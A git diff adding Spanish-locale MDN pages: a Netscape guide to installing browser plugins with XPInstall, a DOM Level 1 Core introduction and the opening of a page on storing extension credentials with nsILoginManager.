+<ul><li> <b>Software adicional</b>. Muchos plugins son parte de software adicional para tipos multimedia. Por ejemplo, RealPlayer para Windows consta de un plugin DLL pero también de la aplicación RealPlayer (EXE), de la que el plugin DLL es subconjunto. En este caso, el plugin es parte del paquete de software específico del navegador como mecanismo para darle a la aplicación <i>ganchos</i> adicionales en el navegador.
+</li></ul>
+<p>XPInstall puede ser utilizado para instalar cualquier combinación de estos ficheros en el ordenador del usuario final. Para aquellos que les suene la tecnología SmartUpdate de Netscape Communicator 4.x, esto les resultará familiar.
+</p>
+<h3 id="Breve_historia_de_las_tecnolog.C3.ADas_de_instalaci.C3.B3n_de_Netscape"> Breve historia de las tecnologías de instalación de Netscape </h3>
+<p>Esta sección es importante si estás familiarizado con la tecnología de instalación SmartUpdate de Netscape Communicator 4.x. El uso de JavaScript como lógica de instalación no tiene precedentes en los navegadores de Netscape. Netscape Communicator 4.x utilizaba la noción de SmartUpdate para instalar el software, concretamente los plugins y los applets de Java para que fuesen ejecutados localmente. SmartUpdate <i><b>no está soportado</b></i> por los navegadores de Mozilla (ni los navegadores de Netscape/AOL basados en Mozilla tales como Netscape 7) pero debido a la similitud entre ambas tecnologías de instalación, es fácil convertir los ficheros SmartUpdate a ficheros XPInstall. SmartUpdate utiliza un fichero JAR firmado digitalmente que contiene los componentes de software a instalar además del fichero JavaScript install.js (el llamado script de instalación) como lógica del instalador. Las descargas y los instaladores deberían empezar mostrando un cuadro de diálogo de seguridad que aclarase la autoridad certificadora y el firmante. Frecuentemente, la descarga SmartUpdate era disparada a través del atributo <code>pluginurl</code> de la etiqueta <code>&lt;embed&gt;</code>.
+</p>
+<pre>&lt;embed type="application/x-randomtype" src="myfile.typ" width="50" height="50"
+pluginurl="http://mytypecompany.xyz/jarpacks/mytypeplugin.jar"&gt;&lt;/embed&gt;
+</pre>
+<p>En el ejemplo anterior, el atributo <code>pluginurl</code> referencia a un fichero firmado JAR, el cual sería descargado por Netscape Communicator 4.x (dependiendo de la elección en el cuadro de diálogo de seguridad) <b>si</b> el plugin no estuviera instalado en la máquina del usuario. SmartUpdate difiere de XPInstall en esto:
+</p>
+<ul><li> XPInstall utiliza ficheros ZIP renombrados a XPI (*.xpi) y SmartUpdate utiliza ficheros JAR (*.jar)
+</li><li> A diferencia de los ficheros JAR de SmartUpdate, los paquetes XPI no tienen que estar firmados digitalmente con un certificado digital.
+</li><li> Los paquetes XPI hacen uso de <a href="es/XPInstall_API_Reference">diferentes APIs</a> dentro de install.js, aunque el concepto es el mismo.
+</li></ul>
+<p>XPInstall para los navegadores basados en Mozilla es análogo a SmartUpdate en el navegador Netscape Communicator 4.x. Portar SmartUpdate a XPInstall es trivial tras haberse familiarizado con la <a href="es/XPInstall_API_Reference">nueva API de XPInstall</a>.
+</p>
+<h3 id="Proceso_de_instalaci.C3.B3n_recomendado"> Proceso de instalación recomendado </h3>
+<p>XPInstall suministra una API unificada para llevar a cabo una rápida instalación y configuración del software del plugin para los usuarios finales. Los beneficios de usar XPInstall son porporcionar un mecanismo de instalación para descargas en flujo. Esta sección explica lo que tendría que hacer un paquete XPInstall ideal, además de descubrir algunas de las llamadas API de JavaScript que llevan a cabo estas tareas. Un paquete XPI ideal debería:
+</p>
+<ol><li> Instalarse en el navegador actual que ha llamado a la instalación XPInstall vía HTML o que la ha ejecutado a través de un script. Usaremos el término "navegador actual" para referirnos al navegador que inicia la descarga del XPInstall visitando un sitio que requiere un plugin que el navegador actual no encuentra localmente. Este paso implica el uso de la llamada a la API <a href="es/XPInstall_API_Reference/Install_Object/Methods/initInstall">initInstall</a> para inicializarlo todo y además la llamada <a href="es/XPInstall_API_Reference/Install_Object/Methods/getFolder">getFolder</a> que ayuda a encontrar el directorio de plugins del navegador actual.
+</li><li> Instalar el software del plugin en otra ubicación del disco duro del usuario para que otros navegadores basados en Mozilla que el usuario pudiese instalar más tarde encontrasen y pudieran utilizar el plugin (los componentes específicos del navegador). La meta es asegurar que futuros navegadores Netscape Gecko que pudieran ser instalados más adelante puedan beneficiarse de la instalación iniciada por el usuario con el navegador actual. Un ejemplo lo tenemos si el navegador actual fuese Netscape 7 y más adelante el usuario descargase una beta del software de AOL que usase Netscape Gecko. En lugar de descargar de nuevo el plugin con el otro navegador, éste podría detectar que ya se llevó a cabo la instalación. Este mecanismo de descubrimiento necesita que la creación de la localización secundaria quede reflejada en algún repositorio común de metadatos. En Windows es el registro del sistema. De nuevo, este paso implica llamadas a <a href="es/XPInstall_API_Reference/Install_Object/Methods/getFolder">getFolder</a> para localizar un directorio "bien conocido" y usarlo como localización secundaria.
+</li><li> En Windows: escribir claves de registro que pudiesen ser analizadas por los navegadores Netscape Gecko (instalados tras el navegador actual) para detectar dónde está instalado el plugin en el ordenador. En particular, las claves de registro deberían referenciar a la localización de instalación secundaria para que los futuros navegadores Netscape Gecko pudiesen encontrar y añadir su lista de ubicaciones de plugins disponibles. El formato exacto de dichas claves y cómo deberían ser escritas es tratado en la sección <a href="#Problemas_con_la_primera_instalaci.C3.B3n">#Problemas con la primera instalación</a>. Para crear y escribir realmente claves en el registro de sistema de Windows se debe usar las funciones del <a href="es/XPInstall_API_Reference/WinReg_Object">objeto WinReg</a>.
+</li><li> Asegurar que el plugin recién instalado es actualizado correctamente llamando a la <a href="es/XPInstall_API_Reference/Install_Object/Methods/refreshPlugins">API refreshPlugins</a>. Actualizando el plugin, te estarás asegurando de que el plugin está disponible para uso inmediato, sin obligar al usuario a reiniciar su navegador. Esta es una de las ventajas clave de una experiencia con XPInstall depurada.
+</li></ol>
+<h3 id="El_problema_de_la_primera_instalaci.C3.B3n"> El problema de la primera instalación </h3>
+<p>El problema de la primera instalación hace referencia a los problemas que surgen cuando un plugin es instalado en el ordenador de un usuario antes de instalar un navegador. El proceso de instalación recomendado intenta resolver este problema instalando el plugin en una ubicación secundaria tras instalar el navegador actual. En pocas palabras, el problema de la primera instalación podría resumirse con la pregunta: ¿cómo puede un navegador instalado en el ordenador de un usuario después de que un plugin haya sido instalado previamente con el beneplácito del usuario desde una instalación existente en lugar de haber descargado el mismo plugin de nuevo? Para resolver este incoveniente, se aconseja a los vendedores a:
+</p>
+<ul><li> Instalar los componentes del software del plugin para el navegador (p.e., DLLs en Windows y ficheros XPT si procede) a una ubicación secundaria además de en el directorio de plugins del navegador actual.
+</li><li> Escribir claves en el registro de Windows para que guarden la información de esta ubicación secundaria, en particular la ruta de los plugins y la de los XPT (si procede) para que los navegadores de Netscape Gecko puedan buscar el plugin desde la ubicación secundaria si son instalados después de que lo fuese el plugin (o si un navegador de Netscape Gecko concreto reemplaza al navegador actual). La información que deberían contener las claves es <a class="external" href="http://www.mozilla.org/projects/plugins/first-install-problem.html">explicada con detalle en la especificación publicada en mozilla.org</a>. Existe además un <a class="external" href="http://www.mozilla.org/projects/plugins/example-scobe.txt">ejemplo de una entrada de registro</a> creada por una compañía imaginaria que ilustra lo que se explica en la <a class="external" href="http://www.mozilla.org/projects/plugins/first-install-problem.html">especificación para dichas claves de registro</a>.
+</li><li> En Windows, las claves del registro mencionadas antes siguen una nomenclatura usando el concepto de <a class="external" href="http://www.mozilla.org/projects/plugins/plugin-identifier.html">identificador de plugin</a> como nombre de clave bajo la subclave MozillaPlugins. El <a class="external" href="http://www.mozilla.org/projects/plugins/plugin-identifier.html">identificador de plugin (o PLID)</a> es un concepto útil que es también aplicable cuando se inicializa la instalación a través de la <a href="es/XPInstall_API_Reference/Install_Object/Methods/initInstall">API initInstall</a>.
+</li></ul>
+<h3 id="Disecci.C3.B3n_de_las_APIs_utilizadas"> Disección de las APIs utilizadas </h3>
+<p>El proceso recomendado de instalación de plugins hace uso de las APIs de XPInstall para instalarlos en el directorio Plugins del navegador actual, en una ubicación secundaria y para <a class="external" href="http://www.mozilla.org/projects/plugins/first-install-problem.html">escribir una clave en el registro del sistema de Windows que permita recuperar esta última ubicación</a>. Esta sección describe algunas de las APIs de XPInstall que pueden hacer esto y muestra además una plantilla completa de un paquete XPI. No todo el trabajo necesita ser hecho en JavaScript (si tienes un instalador nativo (EXE) que <a class="external" href="http://mozilla.org/projects/plugins/install-scheme.html">reconoce a los navegadores Netscape Gecko</a> y simplemente deseas incluir el instalador ejecutable en un paquete XPI para que el usuario pueda descargarlo, puedes hacerlo fácilmente). Esta sección hace referencia de modo extensivo a la <a href="es/XPInstall_API_Reference">documentación API de XPInstall</a>.
+</p>
+<h4 id="Inicializar_la_instalaci.C3.B3n_con_el_identificador_del_plugin"> Inicializar la instalación con el identificador del plugin </h4>
+<p>Toda instalación XPInstall es inicializada con el <a href="es/XPInstall_API_Reference/Install_Object/Methods/initInstall">método initInstall del objeto Install</a>. Ya que el objeto Install está disponible para el script de instalación no necesita ser mencionado en dicho script (p.e., no hay necesidad de utilizar Install.initInstall. Con invocar simplemente a <a href="es/XPInstall_API_Reference/Install_Object/Methods/initInstall">initInstall</a> será suficiente). El método initInstall es polimórfico aunque a continuación se muestra el mecanismo de invocación recomendado:
+</p>
+<pre>initInstall("My Plugin Software", "@myplugin.com/MyPlugin,version=2.5", "2.5.0.0");
+</pre>
+<p>En el trozo de código anterior, el método <a href="es/XPInstall_API_Reference/Install_Object/Methods/initInstall">initInstall</a> es invocado con tres parámetros:
+</p>
+<ul><li> Una cadena con el nombre de la aplicación.
+</li><li> Una cadena representando el <a class="external" href="http://mozilla.org/projects/plugins/plugin-identifier.html">identificador del plugin</a> asociado con el plugin. En realidad, este valor se guarda en el registro de versión de cliente tras la instalación, un fichero de los navegadores Mozilla que guarda metadatos con el software que acaba de ser instalado. Este valor puede ser consultado con JavaScript a través de una página web y es útil para inicializar descargas XPInstall vía <a href="es/XPInstall_API_Reference/InstallTrigger_Object">scripts disparados</a>. Se puede determinar la versión del software que ha sido instalado y determinar si se tiene que actualizar o no, todo esto utilizando JavaScript en una página web.
+</li><li> Una cadena que represnta la versión de cuatro dígitos del software.
+</li></ul>
+<p><b>Advertencia:</b> Ciertas versiones de los navegadores basados en Mozilla (tales como Netscape 6.x) tratan al carácter igual ("=") como un token ilegal, por lo que no permitirán la invocación de initInstall con cadenas que contengan "=". Un truco podría ser detectar si initInstall ha fallado y, en caso afirmativo, invocarlo de nuevo sin el "=". A continuación se muestra un ejemplo:
+</p>
+<pre>var PLID = "MyPlugin.plug/version=6.5";
+err = initInstall(SOFTWARE_NAME, PLID, VERSION);
+
+if (err != 0)
+{
+	// la instalación debería fallar: se usa N6 y =
+	// reemplazamos PLID con una cadena simple
+	err = initInstall(SOFTWARE_NAME, "MyPluginString", VERSION);
+	if (err != 0)
+		cancelInstall(err);
+}
+</pre>
+<p>Nótese que en el ejemplo anterior el PLID contiene un "=" y, en caso de que el paquete XPI esté siendo ejecutado en navegadores que tratan a "=" como un token ilegal, el truco capturará el error e invocará de nuevo a initInstall.
+</p>
+<h3 id="Usar_XPInstall_junto_con_un_instalador_ejecutable_.28c.C3.B3digo_nativo.29"> Usar XPInstall junto con un instalador ejecutable (código nativo) </h3>
+<p>Si lo que deseas es ejecutar un instalador nativo (EXE) para instalar el software de un plugin pero prefieres que el instalador sea descargado dentro del proceso del navegador entonces probablemente deberías considerar incluirlo en un paquete XPI. Desde JavaScript, puedes llamar al <a href="es/XPInstall_API_Reference/Install_Object/Methods/execute">método execute del objeto Install</a> del XPInstall para ejecutar el binario. Además puedes llamar al <a href="es/XPInstall_API_Reference/File_Object/Methods/execute">método execute del objeto File</a> si lo que realmente quieres instalar es el fichero que estás ejecutando en lugar de borrarlo. Puedes pasar parámetros de línea de comandos al ejecutable. Un ejemplo de llamada al método execute desde el objeto Install sobre un ejecutable que tiene un período de vida temporal (y no se necesita tras la instalación) es:
+</p>
+<pre>// Initialize the installation ....
+
+// initInstall(..... ) has already been called
+
+// Using the Install Object's execute method to block on a native installer
+
+execute("setup.exe", "-s", true);
+
+// En el ejemplo anterior, se supone que se ha ejecutado "setup -s" desde
+// la línea de comandos que arranca el instalador y que "-s" es algún
+// tipo de parámetro definido por el fichero setup.exe, quizá para forzar
+// al instalador a ejecutarse en modo silencioso. Se pasa el "-s" al instalador.
+// Pasando 'true' le estamos diciendo al script de instalación que bloquee
+// la ejecución del instalador y que lo haga síncronamente.
+
+// Se debería llamar a performInstall para hacer que suceda...
+
+err = getLastError();
+if (!err)
+   performInstall();
+else
+  cancelInstall(err);
+</pre>
+<h4 id="Instalar_los_ficheros_del_plugin_en_el_navegador_actual"> Instalar los ficheros del plugin en el navegador actual </h4>
+<p>La instalación en el navegador actual es la tarea más importante que debe de hacerse bien para un paquete XPI. A continuación se muestra un trozo de código que lleva a cabo esto:
+</p>
+<pre>// Name of the files to be installed
+var PLUGIN_FILE    = "NPMyPlugin.dll";
+var COMPONENT_FILE = "NPMyPluginScriptablePeer.xpt";
+
+// invoke initInstall to start the installation
+
+....
+
+var pluginFolder = getFolder("Plugins");
+
+// verify disk space is appropriate
+
+....
+
+err = addFile("@myplugin.com/MyPlugin,version=2.5.0.0",
+                     "2.5.0.0", PLUGIN_FILE, pluginsFolder, null);
+    if (err != 0)
+    {
+	//alert("Installation of MyPlugin plug-in failed. Error code "+err);
+	logComment("adding file "+PLUGIN_FILE+" failed. Errror conde: " + err);
+	return err;
+    }
+
+err = addFile(null, CULT_VERSION, COMPONENT_FILE, componentsFolder, null);
+    if (err != 0)
+    {
+	alert("Installation of MyPlugin component failed. Error code "+err);
+	logComment("adding file "+COMPONENT_FILE+" failed. Error conde: " + err);
+	return err;
+    }
+</pre>
+<h4 id="Instalaci.C3.B3n_en_una_ubicaci.C3.B3n_secundaria"> Instalación en una ubicación secundaria </h4>
+<p>Para solventar el <a class="external" href="http://www.mozilla.org/projects/plugins/first-install-problem.html">problema de la primera instalación</a> es necesario instalar en una segunda ubicación para asegurar que otros navegadores de Netscape Gecko puedan encontrar el plugin, además del navegador actual. Una buena elección para esta ubicación secundaria podría ser el directorio Windows en ordenadores con Windows. <b>Advertencia:</b> Debido a posibles problemas de permisos se aconseja manejar los errores con sumo cuidado.
+</p>
+<pre>// Obtenemos el directorio de sistema de Windows, p.e., el directorio C:\WINNT\system32\
+
+var winDirectory = getFolder("Win System");
+
+// Create the Folder C:\WINNT\system32\MyPlugin
+
+var dllWin32Folder = getFolder("file:///", winDirectory+"\\MyPlugin\\");
+//Install DLL to C:\Windows Folder
+	copyErr = addFile("", VERSION, PLUGIN_FILE, dllWin32Folder, null);
+    if (copyErr != 0)
+    {
+    	logComment("First Install:"+copyErr);
+    	return copyErr;
+    }
+
+// Install the XPT file to C:\WINNT\system32\MyPlugin folder
+
+var xptWin32Folder = getFolder("file:///", winDirectory+"\\MyPlugin\\");
+	copyErr = addFile("", VERSION, COMPONENT_FILE, xptWin32Folder, null);
+    if (copyErr != 0)
+    {
+    	logComment("First Install:"+copyErr);
+    	return copyErr;
+    }
+</pre>
+<p>Una vez decidida la ubicación secundaria, el <a class="external" href="http://www.mozilla.org/projects/plugins/first-install-problem.html">registro de windows ha de ser actualizado</a> con la ruta de dicha ubicación para que futuros navegadores puedan recuperarla. Esto es realizado con el objeto <a href="es/XPInstall_API_Reference/WinReg_Object">WinReg</a> proporcionado por XPInstall. Todas las piezas quedan ensambladas en la plantilla mostrada a continuación.
+</p>
+<h3 id="Plantilla_XPInstall"> Plantilla XPInstall </h3>
+<p>Se ha mostrado <a href="es/Using_XPInstall_to_Install_Plugins/Install_script_template">una plantilla para un script de instalación</a> que quizá te gustaría abrir en otra pestaña o ventana. Dicho script de instalación hace lo siguiente:
+</p>
+<ul><li> Instala tanto el fichero DLL como el XPT en el directorio de plugins del navegador. El propio plugin es imaginario: MyPlugin. Sin embargo, las variables que determinan el nombre del plugin pueden ser modificadas fácilmente. Este fichero install.js supone que el software del plugin que va a ser instalado está compuesto por un fichero DLL y por otro XBT, lo cual no siempre es cierto. Muchos plugins pueden traer más de una DLL o quizá código nativo adicional. No obstante, es una suposición más que segura para la mayoría de los plugins, especialmente para <a class="external" href="http://www.macromedia.com/go/getflashplayerbutton/">el plugin Flash de Macromedia</a> compuesto por una única DLL (en Windows es npswf32.dll) y un único fichero XPT para script (llamado flashplayer.xpt).
+</li><li> Adicionalmente, instala el plugin en una ubicación secundaria en el ordenador del usuario. Concretamente, como muchos ficheros OCX (los controles ActiveX), se instala en un directorio especial dentro de C:\WINNT\System32, llamado C:\WINNT\System32\MyPlugin. XPInstall es capaz de determinar cuál es este directorio gracias a la llamada API <a href="es/XPInstall_API_Reference/Install_Object/Methods/getFolder">getFolder</a>. Hemos escrito nuestra propia función de JavaScript que contiene todo el código de la instalación secundaria (la función createSecondaryInstall()).
+</li><li> Y por último, escribe <a class="external" href="http://www.mozilla.org/projects/plugins/first-install-problem.html">las claves de registro requeridas en Windows</a>. Esto se hace a través de la función creada, llamada registerPLID().
+</li></ul>
+<p>Es cierto que este secript se centra en Windows, pero es fácil portarlo a cualquier otra plataforma. Quizá esto sea todavía más fácil, ya que ni en Linux ni en Mac OSX hay que trabajar con la tediosa manipulación del registro de Windows. La <a href="es/XPInstall_API_Reference/Install_Object/Methods/getFolder">API getFolder</a> proporciona suficientes "golosinas sintácticas" como para determinar otras ubicaciones del ordenador del usuario en distintas plataformas y sistemas operativos. Un único install.js es casi siempre capaz de ejecutarse en muchas plataformas diferentes.
+</p>
+<h3 id="Algunas_notas_sobre_la_instalaci.C3.B3n"> Algunas notas sobre la instalación </h3>
+<p>Esta sección comprende algunas de las notas clave sobre el envío de paquetes XPI, en particular: ¿cómo puede ser iniciada la descarga de un plugin vía XPI? ¿Y qué pasa con la desinstalación de plugins?
+</p>
+<h3 id="Ejecutar_una_descarga_XPInstall_con_un_script_autoejecutable"> Ejecutar una descarga XPInstall con un script autoejecutable </h3>
+<p>Un <a href="es/XPInstall_API_Reference/Examples/Trigger_Scripts_and_Install_Scripts">script autoejecutable</a> es un trozo de JavaScript de una página web que puede iniciar automáticamente una descarga XPInstall. Esto puede estar condicionado al hecho de que los <a href="es/XPInstall_API_Reference/Examples/Trigger_Scripts_and_Install_Scripts">scripts autodisparados</a> pueden detectar además el software que ya está instalado en el ordenador del usuario a través de XPInstall. Esta opción es útil para los sitios web porque:
+</p>
+<ul><li> Las páginas HTML y JavaScript ya poseen un modo de detectar qué plugins están instalados. Además, gracias al objeto <a href="es/XPInstall_API_Reference/InstallTrigger_Object">InstallTrigger</a> el cual es accesible por las páginas web, se puede conocer la última versión del paquete XPI instalado.
+</li><li> El objeto <a href="es/XPInstall_API_Reference/InstallTrigger_Object">InstallTrigger</a> también puede iniciar una descarga XPI automáticamente. Esto es útil ya que los usuarios pueden visitar un sitio web y, de forma opcional, obtener el software del servidor (mediante flujo de datos) ofrecido al usuario por la página web.
+</li></ul>
+<p>Los scripts autoejecutables son la forma recomendada de iniciar las descargas XPInstall.
+</p>
+<h3 id="Ejecutar_una_descarga_XPInstall_desde_HTML"> Ejecutar una descarga XPInstall desde HTML </h3>
+<p>De manera análoga a como son inicializadas las descargas SmartUpdate por el atributo pluginurl de la etiqueta <code>&lt;embed&gt;</code>, las descargas XPInstall pueden ser también iniciadas por las etiquetas HTML que invocan a plugins, sobre todo a través del atributo <a class="external" href="http://www.w3.org/TR/REC-html40/struct/objects.html#adef-codebase-OBJECT"><code>codebase</code></a> de la etiqueta <a class="external" href="http://www.w3.org/TR/REC-html40/struct/objects.html#edef-OBJECT"><code>&lt;object&gt;</code></a>. Esto es análogo a cómo Internet Explorer descarga ficheros CAB referenciados por el atributo <a class="external" href="http://www.w3.org/TR/REC-html40/struct/objects.html#adef-codebase-OBJECT"><code>codebase</code></a> de la etiqueta <a class="external" href="http://www.w3.org/TR/REC-html40/struct/objects.html#edef-OBJECT"><code>&lt;object&gt;</code></a>. A continuación se muestra un ejemplo de una hipotética etiqueta <code>&lt;object&gt;</code> usada para invocar a MyPlugin (una aplicación imaginaria):
+</p>
+<pre>	&lt;object id="thePlugin" type="application/x-myplugin" width="100"
+	height="100" codebase="http://location/XPI/myplugin.xpi"&gt;
+
+&lt;param .... &gt;
+</pre>
+<p>En el caso anterior, el atributo <code>codebase</code> apunta directamente al paquete XPI y si el navegador no pudiese identificar ningún plugin para manejar el tipo MIME (imaginario) application/x-myplugin, entonces descargaría el paquete XPI.
+</p><p><b>Nota:</b> Los paquetes XPI (los ficheros con extensión xpi) utilizan el tipo MIME application/x-xpinstall. Al servir los paquetes XPI a los clientes desde el servidor, asegúrate de que los paquetes son servidos con este tipo MIME en las cabeceras HTTP. Asocia el tipo MIME application/x-xpinstall con los paquetes XPI.
+</p>
+<h3 id="El_problema_de_la_desinstalaci.C3.B3n"> El problema de la desinstalación </h3>
+<p>En su versión actual, XPInstall no posee una tecnología de desinstalación. Ya que sólo puede ser usado para instalar ficheros o para servir de transporte a instaladores de código nativo para el cliente, sería una buena idea escribir un desinstalador de código nativo para el cliente, si es procedente. XPInstall puede por tanto ser un "agente de transporte" para llevar el software del ejecutable y con éste la lógica de instalación y desinstalación que será manejada por él, el cual puede crear ficheros y entradas de registro además de limpiarlo todo después de eliminarlo.
+</p>
+<div class="originaldocinfo">
+<h3 id="Informaci.C3.B3n_original_del_documento"> Información original del documento </h3>
+<ul><li> Author(s): Arun K. Ranganathan, Netscape Communications
+</li><li> Last Updated Date: 05 Aug 2002
+</li><li> Copyright Information: Copyright © 2001-2003 Netscape. All rights reserved.
+</li><li> Link: <a class=" external" href="http://devedge-temp.mozilla.org/viewsource/2002/xpinstall-guidelines/index_en.html">http://devedge-temp.mozilla.org/view.../index_en.html</a>
+</li></ul>
+</div>
diff --git a/files/es/using_the_w3c_dom_level_1_core/index.html b/files/es/using_the_w3c_dom_level_1_core/index.html
new file mode 100644
index 0000000000..6c5f14c025
--- /dev/null
+++ b/files/es/using_the_w3c_dom_level_1_core/index.html
@@ -0,0 +1,93 @@
+---
+title: Using the W3C DOM Level 1 Core
+slug: Using_the_W3C_DOM_Level_1_Core
+tags:
+  - DOM
+  - NeedsTranslation
+  - NeedsUpdate
+  - TopicStub
+translation_of: Web/API/Document_object_model/Using_the_W3C_DOM_Level_1_Core
+---
+<p>The W3C's DOM Level 1 Core is a powerful object model for changing the content tree of documents. It is supported in all major browsers including Mozilla Firefox and Microsoft Internet Explorer. It is a powerful base for scripting on the web.</p>
+
+<h2 id="What_is_a_content_tree.3F" name="What_is_a_content_tree.3F">What is a content tree?</h2>
+
+<p>Many HTML authors may think of HTML as something flat -- a bunch of text with tags in the middle. However, it is something much more than that. Any HTML document (or for that matter any SGML document or XML document) is a tree structure. For example, the following document and tree structure are similar (although not identical -- see the notes on <a href="/en-US/docs/Whitespace_in_the_DOM" title="Whitespace_in_the_DOM">whitespace in the DOM</a>):</p>
+
+<pre class="brush: html">&lt;html&gt;
+&lt;head&gt;
+  &lt;title&gt;My Document&lt;/title&gt;
+&lt;/head&gt;
+&lt;body&gt;
+  &lt;h1&gt;Header&lt;/h1&gt;
+  &lt;p&gt;Paragraph&lt;/p&gt;
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<p><img alt="image:Using_the_W3C_DOM_Level_1_Core-doctree.jpg" class="internal" src="/@api/deki/files/415/=Using_the_W3C_DOM_Level_1_Core-doctree.jpg"></p>
+
+<p>When Mozilla parses a document, it builds a content tree and then uses it to display the document.</p>
+
+<p>The terms used to describe trees show up often in the DOM Level 1 Core. Each of the boxes I drew in the tree above is a node in the tree. The line above a node expresses a parent-child relationship: the node on top is the parent, and the node on the bottom is the child. Two children of the same parent are therefore siblings. Similarly, one can refer to ancestors and descendants. (Cousins are too messy, though.)</p>
+
+<h2 id="What_does_the_DOM_Level_1_Core_let_me_do.3F" name="What_does_the_DOM_Level_1_Core_let_me_do.3F">What does the DOM Level 1 Core let me do?</h2>
+
+<p>The W3C DOM Level 1 allows you to change the content tree <em>any way you want</em>. It is powerful enough to build any HTML document from scratch. It allows authors to change anything in the document from script, at any time. The easiest way for web page authors to change the DOM dynamically is using JavaScript. In JavaScript, the document is accessible the same way it has been in older browsers: from the <code>document</code> property of the global object. This <code>document</code> object implements the <a class="external" href="http://www.w3.org/TR/REC-DOM-Level-1/level-one-core.html#i-Document">Document interface</a> from the W3C's DOM Level 1 spec.</p>
+
+<h2 id="A_simple_example" name="A_simple_example">A simple example</h2>
+
+<p>Suppose the author wants to take the above document and change the contents of the header, and write two paragraphs instead of one. The following script would do the job:</p>
+
+<h3 id="HTML_Content">HTML Content</h3>
+
+<pre class="brush: html">&lt;body&gt;
+&lt;input type="button" value="Change this document." onclick="change()"&gt;
+&lt;h2&gt;Header&lt;/h2&gt;
+&lt;p&gt;Paragraph&lt;/p&gt;
+&lt;/body&gt;<span>
+</span></pre>
+
+<h3 id="JavaScript_Content">JavaScript Content</h3>
+
+<pre class="brush: js"><span>  function change() {
+    // document.getElementsByTagName("H2") returns a NodeList of the &lt;h2&gt;
+    // elements in the document, and the first is number 0:
+
+    var header = document.getElementsByTagName("H2").item(0);
+    // the firstChild of the header is a Text node:
+    header.firstChild.data = "A dynamic document";
+    // now the header is "A dynamic document".
+
+    var para = document.getElementsByTagName("P").item(0);
+    para.firstChild.data = "This is the first paragraph.";
+
+    // create a new Text node for the second paragraph
+    var newText = document.createTextNode("This is the second paragraph.");
+    // create a new Element to be the second paragraph
+    var newElement = document.createElement("P");
+    // put the text in the paragraph
+    newElement.appendChild(newText);
+    // and put the paragraph on the end of the document by appending it to
+    // the BODY (which is the parent of para)
+    para.parentNode.appendChild(newElement);
+  }</span></pre>
+
+<p>{{ EmbedLiveSample('A_simple_example', 800, 300) }}</p>
+
+<p>You can see this script as <a class="internal" href="/@api/deki/files/2866/=example.html" title="/@api/deki/files/2866/=example.html">a complete example</a>.</p>
+
+<h2 id="How_can_I_learn_more.3F" name="How_can_I_learn_more.3F">How can I learn more?</h2>
+
+<p>Now that you are familiar with the basic concepts of the DOM, there is a document explaining the <a href="/en-US/docs/Traversing_an_HTML_table_with_JavaScript_and_DOM_Interfaces" title="Traversing_an_HTML_table_with_JavaScript_and_DOM_Interfaces">DOM Level 1 fundamental methods</a>. It is the follow-up to this document.</p>
+
+<p>See also the <a class="external" href="http://www.w3.org/TR/REC-DOM-Level-1/level-one-core.html">DOM Level 1 Core specification</a> from the W3C. It's a reasonably clear spec, although it is formal. The main thing that's useful to authors is the description of the different DOM objects and all their properties and methods. Also see our <a href="/en-US/docs/DOM" title="DOM">other DOM documentation</a>.</p>
+
+<div class="originaldocinfo">
+<p><strong>Original Document Information</strong></p>
+
+<ul>
+ <li>Author(s): L. David Baron &lt;dbaron at dbaron dot org&gt;</li>
+ <li>Copyright Information: © 1998-2005 by individual mozilla.org contributors; content available under a <a class="external" href="http://www.mozilla.org/foundation/licensing/website-content.html">Creative Commons license</a></li>
+</ul>
+</div>
diff --git a/files/es/uso_de_nsiloginmanager/index.html b/files/es/uso_de_nsiloginmanager/index.html
new file mode 100644
index 0000000000..785f9e8681
--- /dev/null
+++ b/files/es/uso_de_nsiloginmanager/index.html
@@ -0,0 +1,177 @@
+---
+title: Uso de nsILoginManager
+slug: Uso_de_nsILoginManager
+tags:
+  - Firefox 3
+  - Interfaces
+  - Todas_las_Categorías
+  - páginas_a_traducir
+translation_of: Mozilla/Tech/XPCOM/Reference/Interface/nsILoginManager/Using_nsILoginManager
+---
+<p></p>
+
+<h3 id="Working_with_the_Login_Manager" name="Working_with_the_Login_Manager">Working with the Login Manager</h3>
+
+<p>Extensions often need to securely store passwords to external sites, web applications, and so on. To do so securely, they can use <code><a href="es/NsILoginManager">nsILoginManager</a></code>, which provides for secure storage of sensitive password information and <code><a href="es/NsILoginInfo">nsILoginInfo</a></code>, which provides a way of storing login information.</p>
+
+<h3 id="Getting_nsILoginManager" name="Getting_nsILoginManager">Getting <code>nsILoginManager</code></h3>
+
+<p>To get a component implementing <code>nsILoginManager</code>, use the following:</p>
+
+<pre>var passwordManager = Components.classes["@mozilla.org/login-manager;1"]
+                                .getService(Components.interfaces.nsILoginManager);
+</pre>
+
+<p>Most Login Manager functions take an <code><a href="es/NsILoginInfo">nsILoginInfo</a></code> object as a parameter. An <code><a href="es/NsILoginInfo">nsILoginInfo</a></code> object contains the following attributes: hostname, form submit URL, HTTP realm, username, username field, password, and password field. The hostname, username and password attributes are mandatory, while the other fields are set based on whether the login is for a web page form or an HTTP/FTP authentication site login. See the <code><a href="es/NsILoginInfo">nsILoginInfo</a></code> attribute definitions for more details. Defining an <code><a href="es/NsILoginInfo">nsILoginInfo</a></code> object is simple:</p>
+
+<pre>var nsLoginInfo = new Components.Constructor("@mozilla.org/login-manager/loginInfo;1",
+                                             Components.interfaces.nsILoginInfo,
+                                             "init");
+
+var loginInfo = new nsLoginInfo(hostname, formSubmitURL, httprealm, username, password,
+                                usernameField, passwordField);
+</pre>
+
+<h3 id="Examples" name="Examples">Examples</h3>
+
+<h4 id="Creating_a_login_for_a_web_page" name="Creating_a_login_for_a_web_page">Creating a login for a web page</h4>
+
+<pre class="eval"> <span class="nowiki">var formLoginInfo = new nsLoginInfo('http://www.example.com',
+                       'http://login.example.com', null,
+                       'joe', 'SeCrEt123', 'uname', 'pword');</span>
+</pre>
+
+<p>This login would correspond to a HTML form such as:</p>
+
+<pre class="eval"> <span class="nowiki">
+  &lt;form action="http://login.example.com/foo/authenticate.cgi"&gt;
+  Please log in.
+  Username: &lt;input type="text"     name="uname"&gt;
+  Password: &lt;input type="password" name="pword"&gt;
+  &lt;/form&gt;
+  </span>
+</pre>
+
+<h4 id="Creating_a_site_authentication_login" name="Creating_a_site_authentication_login">Creating a site authentication login</h4>
+
+<pre class="eval"> <span class="nowiki">var authLoginInfo = new nsLoginInfo('http://www.example.com',
+                       null, 'ExampleCo Login',
+                       'alice', 'SeCrEt321', null, null);</span>
+</pre>
+
